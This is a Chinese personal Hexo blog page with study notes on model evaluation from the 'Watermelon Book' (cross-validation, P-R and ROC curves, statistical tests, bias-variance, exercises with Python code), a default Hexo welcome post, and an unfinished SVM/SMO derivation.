Yueyec's Blog


  • 首页

  • 标签

  • 分类

  • 归档

西瓜书 模型评估与选择

发表于 2019-04-10 | 分类于 Data Science

模型评估与选择

2.1经验误差与过拟合

经验误差(empirical error)为训练误差(training error),即在训练集上得到的误差,
在新样本上的误差为泛化误差(generalization error)

当学习器把训练样本学习的太好时,会产生过拟合(overfitting),于此相对的是欠拟合(underfitting)即对训练样本的一般性质上尚未学好

过拟合最常见的情况是学习能力过于强大,以至于把训练样本所有的不太一般的性质也学会了,而欠拟合通常是由于学习能力低下导致的

因为数据的不确定和不准确性,所以没法得到一个完全正确的模型,所以过拟合不可避免。即因为数据的随机性和其他原因,经验误差等于0,但是泛化误差也等于0的情况基本上是不存在的

2.2 评估方法

通过实验来得到的泛化误差来评估并进行选择
通常需要一个测试集(testing set)来测试学习器对新样本的判断能力,用测试误差(testing error)作为泛化误差的一个近似

对于一个m个样本的数据集D,得到一份训练集S和一份测试集T

2.2.1 留出法

即将数据集分成两份数据集,当做测试集和训练集,这两个数据集的样本都不一样

需要注意的是S和T的分布需要一致,避免划分是引入额外的误差,列如分类中,各分类的比例保持一致

从采样(sampling)的角度就是分层采样(stratified sampling),即按照类别分别采集相同比例的样本

假设D有三个类别,分别占有4,4,2的比例,那假设训练样本抽取80%的数据,则对于占40%的class1取其中的80%,同理对其他的类别

但是留出法得到的结果往往不稳定,因为根据采样的方法不同,得到的D,T样本也不同,因为如果对D进行排序,则取前面的80%数据和取后面80%的数据,得到的不一样,
一般采用若干次随机划分、重复进行实验评估后取平均值

但是实际是评估数据集D训练出来的学习器性能,所以常用的比例大约是2/3到4/5的数据用于当做训练集,来保证能尽可能接近于训练集D的分类器,但是又有一定数据来评估,得到较准确的评估值

2.2.2 交叉验证法

将数据集D划分为k个大小类似的互斥子集,每个子集都能保持一样的数据分布,也就是用了分层采样得到。

将k-1个子集当做训练集,1个当做测试集,那就能得到k个评估,取平均值作为整体的评估结果。
常用的k值为10,也就是k-折交叉验证,其他常用的k值为5,20。

其中如果将k定为m,则测试集只是其中一个样本,叫做留一法,这样可以保证得到的学习器可以和D训练出来的近似一致,
但是没法保证得到的估计结果会比其他评估方法好,并且计算量太大

2.2.3 自助法

上面的方法因为都划分了一部分当成测试集,导致实际学习器训练的数据比实际数据D小,所以必然引入了一些因训练样本规模不一样导致的估计偏差,留一法虽然影响较小,但是计算量提高了。

为了解决训练规模的影响,可使用自助法

自助法(bosststrapping)是以自助采样法(boostrap sampling)为基础,给定m个数据集D,对D进行采样产生数据集D’,然后在将该样本放回D中,使得样本在下次采样中可以被采集到,就是放回的采样;重复m次后,得到了m个样本的数据D’;就是对数据D进行放回采样,每次采集m个样本。

这样样本D’的数据规模和原本的一样,并且因为有些数据被重复抽到导致一部分的数据并没有包括

数据在m次采样中始终不包括的概率是$(1-\frac{1}{m})^m$,取极限得到

即通过自助法,还有大概36.8%的样本没有被抽到,可以用D’做训练集,D\D’当测试集,这样的测试结果为包外估计(out-of-bag estimate)
自助法在数据集较小、难以有效划分训练集/测试集时很有效;此外,自助法能从初试数据集中产生不同的训练集,对集成学习等方法有很大的好处,但是因为改变了原本数据的分布,所以引入了估计偏差。因此在初试数据量足够时,留出法和交叉验证法较为常用

2.2.4 调参和最终模型

大部分的算法都有参数(parameter)需要设置,除了对模型算法进行选择,还需要对算法参数进行设置,叫做参数调节即调参(parameter tuning)
许多参数都是在一个范围内选择的,参数往往不是最佳的,这是在计算开销和性能估计做的折中选择。
通常得到的最终模型还需要对整个训练进行训练,用的就是得到的最佳参数和算法模型,因为在之前得到的模型和算法参数都是根据部分数据集训练得到的。
为了和最终测试的测试集加以区分,训练数据中来估计的数据集称之为验证集(validation set)

2.3 性能度量

除了实验估计方法还需要衡量模型泛化能力的评价标准,就是性能度量(performace measure)。在任务需求下,使用不同的性能度量,可以得到不同的结果。所以模型的好坏除了算法和数据,还取决于任务需求。
回归任务最常用的性能度量是 均方误差(mean squared error)

更一般的,对于数据分布$\mathcal{D}$和概率密度函数$\mathcal{p}(\cdot)$,均方误差可描述为

2.3.1 错误率和精度

对于数据集D,分类错误率定义为

精度则为

更一般的,对于数据分布$\mathcal{D}$和概率密度$\mathcal{p}(\cdot)$来说,错误率和精度为

精度则为

2.3.2 查准率、查全率和F1

如果不为了得到准确率,而是关心判断正确的样本中正确的比例,或者 有多少正例的样本被判断对了,则需要其他性能度量方法
查准率(precision)和查全率(recall)亦称为召回率更适合用于这类需求的性能度量

对于二分问题,根据真实类别和学习器判断的类别组合成四个分类

  1. 真正例(true positive) 真实为 正,预测也为 正 TP
  2. 假正例(false positive) 真实为 负,预测为 正 FP
  3. 真反例(true negative) 真实为 负, 预测为 负 TN
  4. 假反例(false negative) 真实为 正,预测为 负 FN
真实情况 预测结果
正例 反例
正例 TP(真正例) FN(假反例)
反例 FP(假正例) TN(真反例)

查准率P和查全率R分别为

查准率和查全率互相制约,基本上一个比较高时,另一个则较低,因为如果想要查全率高,则需要尽量的判断为正,但是会增加假正例,所以降低了查准率。如果要查准率高,则尽量选择有把握的正例,则导致了真正例在所有正例的比例降低,所以查全率会降低。

P-R曲线
根据学习器对样本的为正例的判断可信度排序,得到从最有可能是正例到最有可能是负例排序的样本,根据每个样本为阀值进行划分,判断前面的为正例,后面的为负例,得到查准率和查全率,用查全率作为横坐标,查准率作为纵坐标,得到曲线就是P-R曲线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
%matplotlib inline
y = np.array([0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1]) #预测的类别
y_hat = np.array([0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1]) #实际的类别

def f(y,y_hat):
#默认已经排序了,不写排序的代码
m = y_hat.shape[0]
x = []
y = []
for i in range(1,m + 1):
positive = y_hat[-i:]
nagetive = y_hat[:-i]
tp = positive.sum()
fp = len(positive) - tp
fn = nagetive.sum()
tn = len(nagetive) - fn
p = tp/float(len(positive))
r = tp / float(y_hat.sum())
x.append(r)
y.append(p)
return x,y

res = f(y,y_hat)

plt.plot(res[0],res[1])
[<matplotlib.lines.Line2D at 0x1a1b31d198>]

png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

from sklearn.metrics import precision_recall_curve
from sklearn.utils.fixes import signature
plt.figure("P-R Curve")
plt.title('Precision/Recall Curve')
plt.xlabel('Recall')
plt.ylabel('Precision')
#y_true为样本实际的类别,y_scores为样本为正例的概率
y_true = np.array([1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0])
y_scores = np.array([0.9, 0.75, 0.86, 0.47, 0.55, 0.56, 0.74, 0.62, 0.5, 0.86, 0.8, 0.47, 0.44, 0.67, 0.43, 0.4, 0.52, 0.4, 0.35, 0.1])
precision, recall, thresholds = precision_recall_curve(y_true, y_scores)
#print(precision)
#print(recall)
#print(thresholds)
plt.plot(recall,precision)
#precision, recall, thresholds = precision_recall_curve(y_hat, y)
#print(recall)
#print(precision)
#plt.plot(recall,precision)
[<matplotlib.lines.Line2D at 0x1a1b2a14a8>]

png

如果学习器A的P-R曲线包裹学习器B的曲线,则表明A优于B,但是曲线相交,则用曲线下的面积来判断,但是这个值很难判断,所以有其他判断方式

平衡点(Break-Even Point 简称BEP),即查准率=查全率的时候.
BEP过于简单,所以一般使用F1度量,

通过对查准率和查全率的偏向,得到一个更一般的$F_\beta$,定义为

其中$\beta>0$,度量了查全率对查准率的相对重要程度,当$\beta=1$就是标准的F1,$\beta >1$则说明查全率更重要,$\beta<1$说明查准率更重要

假设进行了多次的训练/测试,就获得了多个二分类的混淆矩阵,要综合判定,则有两种方法

一种是分别计算查准率和查全率,记为(P1,R1),(P2,R2),…$(P_n,R_n)$,在计算平均值,得到宏查准率(macro-P),宏查全率(macro-R),得到相应的宏F1(macro-F1)

另一种为对混淆矩阵的元素,求平均值,得到对应的$\overline{TP}$,$\overline{TN}$,$\overline{FP}$,$\overline{FN}$
求得微查准率(micro-P),微查全率(micro-R),和对应的微F1(micro-F1)

$$micro-R = \frac{\overline{Tp}}{\overline{TP} +\overline{FN}}$$
$$micro-F1 = \frac{2 \times  micro-P \times  micro-R}{micro-P + micro-R}$$

2.3.3 ROC和AUC

P-R曲线对于样本不均衡的情况下,不稳定,所以可以使用ROC来判断

ROC(Receiver Operation Characteristic)全称是受试者工作特征曲线,与P-R曲线类似,但是横纵坐标分别是 假正例率(False Positive Rate FPR)和 真正例率(True Positive Rate TPR)分别表示为

如果学习器A的ROC曲线包裹学习器B的曲线,则表明A优于B,但是如果曲线交叉,则用去线下的面积AUC(Area Under ROC Curve)来判断好坏。

假设ROC曲线是由{$(x_1,y_1),(x_2,y_2),…,(x_n,y_n$}的点组成的,则AUC可以估计为

可以看到AUC和样本预测的排序质量有关,假设有$m^+$,$m^-$个正反例,$D^+,D^-$表示正反例集合,则排序的损失(loss)函数为

即考虑每对正反例,若正例预测值小于反例,则记一个”罚分”,若相等,则记半个”罚分”,因为学习器是预测正例的,所以理想的状态是,正例的最小预测值大于反例的最大预测值,$\ell_{rank}$对应的就是ROC曲线之上的面积;

若一个正例在ROC曲线上对应标记点坐标为(x,y),则x恰好是排序在其之前的反例所占的比例,即假正例率,因此有

ROC曲线与P-R曲线的区别

最主要的区别是ROC可以在样本不均衡的情况下做判断,而P-R曲线会有很大的影响,但是P-R曲线更加直观

2.3.4代价敏感错误率与代价曲线

不同哦该的错误造成的后果也不同,为不同类型错误所造成的不同损失,可为错误赋予非均等的代价(unqeual cost).

根据领域知识得到一个代价矩阵(cost matrix),其中$cost_{ij}$表示第i类被预测为j类,一般来说$cost_{ii}$为0

真实类别 预测类别
第0类 第1类
第0类 0 $cost_{01}$
第1类 $cost_{10}$ 0

在非均等代价下,我们需要的不再是简单的最小化错误次数,而是最小化总体代价(total cost),将第0类作为正例,第1类作为反例,则代价敏感(cost-sensitive)的错误率为

在非均等代价下,ROC不能直接反应处学习器的期望总体代价,所以需要用代价曲线(cost curve)来达到目的,
横坐标为取值在[0,1]的正例概率代价

其中p为样例为正例的概率,纵坐标为取值为[0,1]的归一化代价

其中FPR为假正率,而FNR=1-TPR为假反例率

2.4 比较检验

统计假设检验(hypothesis test)为我们在学习器性能比较提供了重要的依据,默认以错误率作为性能度量,用$\epsilon$表示

2.4.1 假设检验

假设检验中的”假设”是对学习器泛化错误分布的某种判断或猜测,例”$\epsilon=\epsilon_0$”。在实际任务中,并不知道泛化错误率,只能知道其测试错误率$\hat{\epsilon}$,泛化错误率和测试错误率未必相同,但是两者接近的可能性较大,相差很远的可能性很小。因此可根据测试错误率推出泛化错误率的分布

假设泛化错误为$\epsilon$,测试错误率为$\hat{\epsilon}$,$\hat{\epsilon}$意味着如果有m个样本,则会有$\hat{\epsilon}\times m$个样本会被分错。
假设测试样本,有$m’$个样本被分错,则泛化错误率为$\epsilon$的学习器将$m’$个样本分错的概率为$\tbinom{m}{m’}\epsilon^{m’}(1-\epsilon)^{m-m’}$,因此可以估计出恰好将$\hat{\epsilon}\times m$个样本分错的概率为

对此求导,解$\frac{\partial P(\hat{\epsilon};\epsilon)}{\partial \epsilon}=0$得到$p(\hat{\epsilon};\epsilon)$在$\epsilon=\hat{\epsilon}$时最大,这符合二项分布(binomial)

使用二项检验(binomial test)来对『$\epsilon \leq \epsilon_0$』这样的假设进行验证

在$1-\alpha$的概率内所能得到的最大错误率为

其中$1-\alpha$反映了置信度(confidence),因为二项分布,随着p的变大,会向右偏,所以随着p的变大,会不满足条件,所以有个极值,就是需要得到这个最大值错误率,如果测试错误率小于这个最大错误率,则说明,在$1-\alpha$的置信度里,假设成立的,不能被拒绝,即认为在$1-\alpha$的置信度下,测试错误率为$\hat{\epsilon}$的学习器的泛化错误率不大于$\epsilon_0$。反之则需要拒绝

但是一般不止做一次留出法估计,或者其交叉验证中k取2的估计,会进行很多次训练/测试,所以会得到很多错误率,这时可以用t验证(t-test)。

假设得到了k个测试错误率$\hat{\epsilon_1},\hat{\epsilon_2},…,\hat{\epsilon_k}$,可以求的错误率$\mu$,方法$\sigma^2$为

考虑到k个测试错误率可以看做繁华错误率$\epsilon_0$的独立采样,则t统计量为

服从自由度为k-1的t分布

得到的$\tau_t$如果小于查表得到的t值,则接受原假设,否则拒绝原假设

2.4.2 交叉验证t检验

对于两个学习器A和B,使用k折交叉验证法得到的测试错误率分别为$\epsilon_1^A,\epsilon_2^A,…,\epsilon_k^A$和$\epsilon_1^B,\epsilon_2^B,…,\epsilon_k^B$,其中$\epsilon_i^A$和$\epsilon_i^B$是相同的第i折训练/测试集上得到的结果,则可用k折交叉验证”成对t验证”(paired t-tests)来进行比较。这里的思想为如果两个学习器的性能相同,则它们使用相同的训练/测试集得到的测试错误率应相同,即$\epsilon_i^A=\epsilon_i^B$

对于k折交叉验证产生的k对测试错误率,先对每对的测试错误率求差,得到$\Delta_i=\epsilon_i^A-\epsilon_i^B$,若两个学习器性能相同,则差值均值应为0,因此对$\Delta_1,\Delta_2,…,\Delta_k$来对”学习器A和学习器B性能相同”的假设进行t验证,计算出$\Delta$的均值$\mu$和方差$\sigma^2$,在显著度$\alpha$下,若

小于临界值$t_{\alpha/2,k-1}$则假设不能被拒绝,认为两个学习器的性能没有显著差异;否则则认为两个学习器有显著差异,且平均错误率较小的学习器性能更好,其中$t_{\alpha/2,k-1}$为自由度为k-1的t分布上尾部累积分布为$\alpha/2$的临界值

进行有效的假设验证的一个重要的前提是测试错误率均为泛化错误率的独立 采样。但是通常情况下由于样本有限,在使用交叉验证等实验估计时,不同轮次的训练集都有不定程度的重叠,这使得测试错误率实际上并不独立,会导致过高估计假设成立的概率,为缓解这一问题,可采用”5$\times$2交叉验证”法。

就是做5次2折交叉验证,在每次2折交叉验证之前水机将数据打乱,使得5次交叉验证中的数据划分不重复。对于学习器A和B,第i次2折交叉验证将产生两对测试错误率,对他们分别求差,得到1折的差值$\Delta_i^1$和2折的差值$\Delta_i^2$,为了缓解测试错误率的非独立性,我们仅计算第1次2折交叉验证的两个结果的平均值,$\mu=0.5(\Delta_1^1+\Delta_1^2)$,但对每次2折实验的结果都计算其方差$\sigma_i^2=(\Delta_i^1-\frac{\Delta_i^1+\Delta_i^2}{2})^2+ (\Delta_i^2-\frac{\Delta_i^1+\Delta_i^2}{2})^2$,变量

服从自由度为5的t分布,其双边检验的临界值$t_{\alpha/2.5}$当,$\alpha=0.05$时,为2.5706,$\alpha=0.1$时,为2.0150

2.4.3 McNemar检验

对于二类问题,使用留出法不仅可估计出学习器A和B的测试错误率,还能获得两个学习器分类结果的差别

表: 两学习器分类差别列联表

算法B 算法A
正确 错误
正确 $e_{00}$ $e_{01}$
错误 $e_{10}$ $e_{11}$

假设两个学习器性能相同,则应有$e_{01}=e_{10}$,那么$\left|e_{01}-e_{10}\right|$应当服从正态分布,McNemar检验考察变量

因为$e_{01}+e_{10}非常小,需要考虑连续性校正,所以分子中有-1$

服从自由度为1的$\mathcal{X}^2$分布,即标准正态分布变量的平方,盖顶显著度$\alpha$,当以上变量值小于临界值$\mathcal{X}^2$时,不能拒绝假设,认为两个学习器性能没有显著区别,否则拒绝原假设,认为两个学习器有限制差别,并且平均错误率小的那个学习器性能更好。

2.4.4 Friedman检验与Nemenyi后续检验

交叉验证T检验和McNemar检验都是在一个数据集上比较两个算法的的性能,但是很多情况下会在一组数据集上对多个算法进行比较,当有多个算法参与比较时,种方法是在每个数据集上分别列出两两比较的结果,而在亮亮比较上可以用前面的方法;另一种方法更为直接,使用基于算法排序的Friedman检验

假设用$D_1,D_2,D_3,D_4$四个数据集对算法A、B、C进行比较,首先使用留出法或交叉验证法得到每个算法在每个数据集上的测试结果,然后在每个数据集上根据测试性能由好到坏排序,并赋值1,2,…;若算法的测试性能相同,则平分序值。列如得到如下的算法比较序值表

数据集 算法A 算法B 算法C
$D_1$ 1 2 3
$D_2$ 1 2.5 2.5
$D_3$ 1 2 3
$D_4$ 1 2 3
平均序值 1 2.125 2.875

然后,使用Friedman检验来判断这些算法是否性能相同,若相同,则他们的平均序值应当相同,假设我们在N个数据集上比较k个算法,令$\mathcal{r}_i$表示第i个算法的平均序值,为了简化讨论,暂不考虑评分序值的情况,则$\mathcal{r}_i$的均值和方差分别为(k+1)/2和$(k^2-1)/12$.变量

在k和N都较大时,服从自由度为k-1的$\mathcal{X}^2$分布

然而上述的”原始Friedman检验”过于保守,因为原始检验需要k较大(例如k>30),现在通常使用变量

$\tau_F$服从自由度为k-1和(k-1)(N-1)的F分布

若”所有算法的性能相同”这个假设被拒绝,则说明算法的性能显著不同,这是需要进行”后续检验”(post-hoc test)来进一步区分各算法,常用的有Nemenyi后续检验

Nemenyi检验计算出平均序值差别的临界值域

其中qa为Tukey分布的临界值,可以通过算法个数k和$\alpha$这两个参数查表得到,若两个算法的平均序值之差超过了临界值域CD,则以相同的置信度拒绝”两个算法性能相同”这一假设

根据这一系列内容,可以得到上述例子的关系

求出$\tau_F$的值为24.429,查F检验的表,得到$\alpha=0.05$临界值为5.143,因为大于临界值,所以拒绝原假设,然后使用”后续检验”,根据$\alpha=0.05$和k=3得到CD值为1.657,根据平均序值的差,可以得到A与B、B与C这两对算法没有显著区别,但是A与C是有显著区别的

2.5偏差和方差

除了估计其泛化性能之外,还需要了解具有这样的泛化性能的本质,所以”偏差-方差分解”(bias-variance decomposition)是解释学习算法泛化性能的一种重要工具

偏差-方差分解试图对学习算法的期望泛化错误率进行拆解。对于测试样本x,令$y_D$为数据集中的标记,y为x的真实标记(因为有噪声,所以有可能$y_D\neq y$)$f(x;D)$为训练集D上学的模型f在x上的预测输出,以回归任务为例,

学习算法的期望预测为

使用样本数相同的不同训练集产生的方差为

噪声为

期望输出与实际标记的差别称为偏差(bias),即

为了方便讨论,假定噪声期望为0,即$\epsilon^2=\mathbb{E}_D\left[(y_D-y)^2\right]=0$,通过简单的多项式展开合并,可以对算法的期望泛化误差进行分解

也就是说泛化误差可分解为偏差、方差和噪声之和

偏差度量了学习算法预测与真实结果的偏离程度,刻画了学习算法本身的拟合能力;方差度量了同样大小的训练集的变动所导致的学习性能的变化,即刻画了数据扰动所造成的影响;噪声则表达了在当前任务上任何学习算法能达到的期望泛化误差的下限,即刻画了学习问题本身的难度。

偏差-方差分解说明了泛化性能是由学习算法的能力、数据的充分性及学习任务本身的难度所共同决定的。为了获得好的泛化性能,则需要使偏差较小,即能够充分拟合数据,并且使得方差较小,即使得数据扰动影响小

一般而言,偏差和方差是有冲突的,称之为偏差-方差窘境(bias-variance dilemma)

一个训练模型主要有三个阶段,当训练不足时,因为学习器的拟合能力不强,所以训练数据的扰动不足以影响学习器,所以偏差主导泛化错误率,当训练的加深,学习器的拟合能力加强,训练数据的扰动渐渐被学习器所获取,方差主导泛化错误率,但随之逐步加深,学习器的拟合能力过强,导致一些数据局部性的特性被学习器学习到,导致发生过拟合,即把数据独有的特性当成了共同的特性。

习题

  1. 数据集包含1000个样本,其中正例和反例都是500个,用留出法获取70%的训练数据和30%的测试数据,共有多少种划分方式?

留出法就是等比获取,也就是说在正例和反例都随机获取150个作为测试数据,不管训练数据,因为测试数据定好了,训练数据就是唯一得了。所以是$C_{150}^{500} C_{150}^{500}=\dbinom{500}{150}^2$个方式

  1. 训练集包含100个样本,其中正反例各一半,假定学习算法所产生的模型是将新样本预测为训练样本较多的类别(训练样本数相同时进行随机猜测),试给出10折交叉验证法和留一法分别对错误率进行估计所得的结果

k折交叉验证,因为分出的数据是尽量保持和原本数据集的分布一致性,所以都是正反例各一半,所以错误率是50%,

留一法,因为是选择一个数据样本当做测试集,所以根据训练样本反而因为测试集的那个样本的缺失,导致学习算法预测的是与测试集相反的结果,所以错误率是100%

  1. 若学习器A的F1值比学习器B高,则A的BEP是否也比B高?

BEP是把训练得到的正例可能性将真实数据从高到低进行排序,在根据各个阀值进行阶段,得到的曲线中找到P和R一样的点。

F1则是根据混淆矩阵来的到P和R进行计算得到的。

根据https://blog.csdn.net/icefire_tyh/article/details/52065867 提供的例子可以看出BEP和F1并不想对等

真实数据排序 1/+ 2/+ 3/+ 4/+ 5/+ 6/- 7/- 8/- 9/- 10/-
学习器A的排序 1/+ 2/+ 3/+ 4/+ 6/- 5/- 7/- 8/- 9/- 10/-
学习器B的排序 1/+ 2/+ 3/+ 4/+ 6/+ 5/- 7/- 8/- 9/- 10/-

可以看出因为根据学习器A和学习器B的排序,将真实数据从高到低进行排序,得到的顺序是一致的,所以BEP一致,但是按照F1计算,则可以得到

学习器A和B的混淆矩阵

学习器A 学习器B
4 1 4 1
0 5 1 4

学习器A和B的P、R、F1值

学习器A 学习器B
P 1 0.8
R 0.8 0.8
F1 0.88888889 0.8
  1. 试述正例率(TPR),假正例率(FPR),和查准率(P)、查全率(R)之间联系

TPR和R是一样的,都是预测的正确正例在所有真实正例的比例。

FPR是预测是正例但是实际是反例在所有真实反例的比例。P是预测正确的正例在所有预测为正例的比例,并没有实际关系

  1. 试证明$AUC = 1 - \ell_{rank}$

首先解析AUC公式,AUC公式是根据求线下的面积得到的。

根据南瓜书(https://datawhalechina.github.io/pumpkin-book/#/chapter2/chapter2 )得知,书上的图为一个特例,即根据预测度进行排序后,根据每一个样本点是正例或者反例从而垂直或者水平前进;如果两个点都在阀值上,并且是一个正例和反例时,那则直线应该是斜方向前进的。不过无论是那种情况,都可以使用 $(上底+下底)高 \cfrac{1}{2}$来获取阀值间隔内的面积。

$\ell_{rank}=\frac{1}{m^+m^-}\sum_{x^+\in D^+}\sum_{x^-\in D^-}(I(f(x^+)<f(x^-))+ \frac{1}{2}I(f(x^+)=f(x^-)))$

根据南瓜书提供的图例,可以得到3个情况

绿线为垂直向上,表示1个正例被正确判断,在y轴上的投影为”$\frac{1}{m^+}$”

红线为水平向右,表示一个反例被错误判断成了正例,在x上的投影为”$\frac{1}{m^-}$”

蓝线为朝着右上方向的斜线,表示有a个正例和b个反例被判断成了正例,则在x轴的投影为”$b\frac{1}{m^-}$”,在y轴上的投影为”$a\frac{1}{m^+}$”

其中图像的每条折线的预测值相同,并且从0点开始逐渐较小。

将公式拆分开来,
$\sum_{x^+ \in D^+}$可以看做对所有正例的一个遍历,分解成

for $x_i^+ \;in \;D^+: \\
\qquad \frac{1}{m^+m^-}\sum_{x^-\in D^-}(I(f(x^+)<f(x^-))+ \frac{1}{2}I(f(x^+)=f(x^-)))\qquad 记为公式S$

其中$x_i^+$对应着每条绿线或者蓝线线段,遍历$x_i^+$可以看做遍历所有绿线和蓝线,S求出对应的绿线或蓝线和y轴组成的面积。

详细内容,先看绿线
对于每条绿线线段,因为是单一的绿线,所以没有预测点既有正例和反例的情况,所以去除后半段,只看反例的预测点大于正例的预测点的情况。
所以S简化为

其中每一个空格的长度为$\frac{1}{m^-}$高度为$\frac{1}{m^+}$,$\sum_{x^-\in D^-}I(f(x_i^+)<f(x^-))$为预测点大于正例的反例的个数,对应的就是空格的数量,乘以高和长,得到绿线左面的面积。

对于蓝线,公式S展开为

有两个部分,其中前面的一部分就是蓝线左边的空格的面积,而右边的为自身的格子的左边的面积的,即为自身格子的左边的三角形面积。

因为总面积为1,所以可以得到$AUC = 1 - \ell_{rank}$

  1. 试述错误率和ROC曲线的关系

错误率为$\frac{FP+FN}{FP+FN+TP+TN}$

ROC有两个值为TPR和FPR,分别为$\frac{TP}{TP+FN}$,$\frac{FP}{FP+TN}$
每个点对应着一对TPR和FPR。

因为$m^+ = TP+FN,\;m^-=TN+FP$,所以用来代替,得到

所以每个点可以用错误率来代替。错误率最小的点为FPR为0,TPR为1的时候

代价敏感的错误率为$\frac{cost_{01}\times FN + cost_{10}\times FP}{m}$
所以代价敏感的错误率为

  1. 证明任意一条ROC曲线都有一条对应代价曲线与之对应,反之亦然

以后补充

  1. Min—max规范化和z-score规范化两种常见的规范化方式。这两者有何优缺点。
    令x为规范化前的取值,x’为规范化后的取值,其中$x_{min},x_{max}$为规范化前的最小值和最大值,$x_{min}’,x_{max}’$为规范化后的最小和最大取值,$\bar{x},\sigma_x$为规范化前的均值和标准差,则:

Min-max的规范化公式为

z-score的规范化公式为

Min-max规范化的优势是,每次新的数据如果在$x_{min}$ $x_{max}$的范围内,则不需要重新计算其他值,并且得到规范化的值都是大于0的;但是如果有极小(大)值,会有影响

z-score的优势是,极值对于规范化的影响不大,但是每次有新值时,都需要重新计算$\bar{x}$ $\sigma_x$

  1. 试述$\mathcal{X}^2$检验过程

适用于定类和定类的检验。

以后补充

  1. 试述Friedman检验中使用的两个方程区别

即

和的区别

只知道$\tau_{\mathcal{X}^2}$需要满足k较大(k>30)的情况下,在k较小的情况下,会倾向于认为无显著区别。但是$\tau_F$并没有这个影响

详细的以后补充

Hello World

发表于 2019-04-10

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

svm

发表于 2019-03-17 | 分类于 Data Science

支持向量机

分隔超平面为$w^Tx + b$
常数b类似于回归里的$w_0$

因为w为超平面的法向量,其中设距离为$\gamma$,$x_i 到x_0$的距离为$\gamma$,其中$x_0$为在平面的点,x为要求距离的点,

x的向量为$x_0 + \gamma \frac{w}{||w||}$ ,其中$\frac{w}{||w||}$为向量w的的单位向量,又有$w^Tx_0 + b = 0$与$w^Tw = ||w||^2$

$x-x_0 = \gamma \frac{\vec{w}}{||w||}$ 两边乘以$w^T$得

$w^T(x-x_0)= \gamma \frac{w^Tw}{||w||}$

$w^T(x-x_0)= \gamma \frac{||w||^2}{||w||}$

$w^Tx + b=\gamma||w||$

所以计算点A到平面的距离:值为$\frac{|w^TA + b| }{||w||}$

当$y_i$为1,-1时,$\gamma = \frac{2}{||w||}$ $s.t. w^Tx+b >= 1$

所以求$\gamma$的最大值,就是求$\frac{1}{2}||w||^2$ $s.t. w^Tx+b >= 1$的最小值

用拉格朗日乘子法来把约束条件加到求解方程里

$L(w,\alpha,b)=\frac{1}{2}||w||^2 + \sum\limits_{i=1}^m\alpha^i(1-y_i(w^Tx_i+b)$

令$\theta(w)=\mathop{max}\limits_{a_{i} >=0}L(w.\alpha,b)$

$\mathop{min}\limits_{w,b}\theta(w)=\mathop{min}\limits_{w,b}\mathop{max}\limits_{a_i >=0}L(w,\alpha,b)=p^*$

用对偶性,最大和最小互换,但是有kkt条件需要满足,才能保证$p^=d^$

$\mathop{max}\limits_{\alpha_i>=0}\mathop{mim}\limits_{w,b}L(w,\alpha,b)=d^*$

kkt条件为

min(f(x)),

$s.t. \\h_j(x)=0,j=1,2,..,p \\
g_k(x) <=0,k=1,2,…,q \\
x\in X\subset R^n
$

需要满足

  1. $L(w,\alpha,b)$对x求导为0
  2. $h_i(x)=0$
  3. $\alpha * g_k(x) =0$

对w,或b求导得到
$\frac{\partial L}{\partial w}=0 得到 w= \sum\limits_{i=1}^n\alpha_iy_ix_i$

$\frac{\partial L}{\partial b} =0 得到 \sum\limits_{i=1}^n\alpha_iy_i=0$

把w带回L中得到,一个只有$\alpha$的方程,??为什么是减去

$\mathop{max}\limits_{\alpha}\sum\limits_{i=1}^n\alpha_i - \frac{1}{2}\sum\limits_{i,j=1}^{n}\alpha_i\alpha_jy_iy_jx_i^Tx_j$

$s.t. \alpha_i >=0,i=1,2,…n, \\
\sum\limits_{i=1}^n\alpha_iy_i=0$

SMO内容

$\alpha$的部分

将方程变形,乘以-1,变成一个最小的问题

$\mathop{min}\limits_{\alpha}\frac{1}{2}\sum\limits_{i=1}^{n}\sum\limits_{j=1}^n\alpha_i\alpha_jy_iy_jx_i^Tx_j -\sum\limits_{i=1}^n\alpha_i $

$s.t. \alpha_i >=0,i=1,2,…n, \\
\sum\limits_{i=1}^n\alpha_iy_i=0$

加入松弛变量C,保证可以有部分不是线性可分的,条件变为

$s.t. C>= \alpha_i >=0,i=1,2,…n, \\
\sum\limits_{i=1}^n\alpha_iy_i=0$

SMO为更新两个$\alpha$

则 $\alpha_1^{new}y_1 + \alpha_2^{new}y_2 = \alpha_1^{old}y_1 + \alpha_2^{old}y_2 = \zeta $

固定其他的值,只改变$\alpha_2^{new}的解$先确定它的上下限

$L<=\alpha_2^{new}<=H$

因为$C>=\alpha>=0$ 和$\alpha_1^{new}y_1 + \alpha_2^{new}y_2 = \alpha_1^{old}y_1 + \alpha_2^{old}y_2 = \zeta $

所以

当$y_1\ne y_2$时

$\alpha_1 - \alpha_2 = \zeta$

$\alpha_2 = \alpha_1 - \zeta$

得到

$C-\zeta>=\alpha_2 >= -\zeta$

结合$C>=\alpha>=0$,得到

$L=max(0,-\zeta),H=min(C,C-\zeta)$

同理,当$y_1=y_2$时,

$L=max(0,\zeta-C),H=min(C,\zeta)$

因此得到$\alpha_2^{new}$的上下界L和H为

$L=max(0,\alpha_2^{old}-\alpha_1^{old}),H=min(C,C+\alpha_2^{old} -\alpha_1^{old}),ify_1\ne y_2$

$L=max(0,\alpha_2^{old}+\alpha_1^{old}-C),H=min(C,\alpha_2^{old} +\alpha_1^{old}),ify_1= y_2$

固定除了$\alpha_1 \alpha_2的其他变量$

$w(\alpha_2) = \sum\limits_{i=1}^n\alpha_i - \frac{1}{2}\sum\limits_{i=1}^n\sum\limits_{i=1}^ny_iy_jx_i^Tx_j\alpha_i\alpha_j$

将$\alpha_1 \alpha_2$提出来得到

